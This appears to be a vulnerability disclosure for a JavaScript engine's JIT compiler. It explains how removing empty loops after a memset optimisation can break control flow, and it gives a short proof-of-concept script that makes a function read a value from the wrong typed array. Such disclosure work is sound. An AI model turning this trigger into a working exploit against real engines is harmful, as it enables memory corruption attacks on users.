/*
The optimizations for memory operations may leave empty loops as follows:
for(let i = 0; i < arr.length; i++){
arr[i] = 0;}
Becomes:
Memset(arr, 0, arr.length);for(let i = 0; i < arr.length; i++){// empty!
}
These empty loops will be removed by "BackwardPass::RemoveEmptyLoopAfterMemOp". But this method just removes them without considering branches.
Here's what may happen.
A:
Memset(arr, 0, arr.length);
for (let i = 0; i < arr.length; i++) {
}
goto D;// Actually, this's a "BrGe_I4" instruction in the PoC.
C:
...
D:
...
Becomes:
A:
Memset(arr, 0, arr.length);
C:
...
D:
...
So, this may break the control flow.
PoC:
*/function opt(a, b, always_true = true){
a[0] = 1234;
b[0] = 0;
let arr = a;if(always_true){
arr = b;for(let i = 0; i < arr.length; i++)
arr[i] = 0;}
let val = arr[0];if(val){
print(val);// Must be 0, but prints out 1234
return true;}return false;}
let a = new Uint32Array(1);
let b = new Uint32Array(0x1000);for(let i = 0; i < 10000; i++){if(opt(a, b)){break;}}